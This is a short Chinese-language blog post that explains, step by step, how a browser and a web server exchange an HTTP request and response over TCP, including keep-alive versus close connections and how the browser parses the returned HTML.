请求/响应的步骤:客户端连接到Web服务器->发送Http请求->服务器接受请求并返回HTTP响应->释放连接TCP连接->客户端浏览器解析HTML内容1、客户端连接到Web服务器一个HTTP客户端,通常是浏览器,与Web服务器的HTTP端口(默认为80)建立一个TCP套接字连接。例如,http://www.baidu.com2、发送HTTP请求通过TCP套接字,客户端向Web服务器发送一个文本的请求报文,一个请求报文由请求行、请求头部、空行和请求数据4部分组成。3、服务器接受请求并返回HTTP响应Web服务器解析请求,定位请求资源。服务器将资源复本写到TCP套接字,由客户端读取。一个响应由状态行、响应头部、空行和响应数据4部分组成。4、释放连接TCP连接若connection 模式为close,则服务器主动关闭TCP连接,客户端被动关闭连接,释放TCP连接;若connection 模式为keepalive,则该连接会保持一段时间,在该时间内可以继续接收请求;5、客户端浏览器解析HTML内容客户端浏览器首先解析状态行,查看表明请求是否成功的状态代码。然后解析每一个响应头,响应头告知以下为若干字节的HTML文档和文档的字符集。客户端浏览器读取响应数据HTML,根据HTML的语法对其进行格式化,并在浏览器窗口中显示。其实就是曾经发表的一篇文章中RTT的说明
2020年04月11日
126 阅读
0 评论
0 点赞
1
...
4
5
6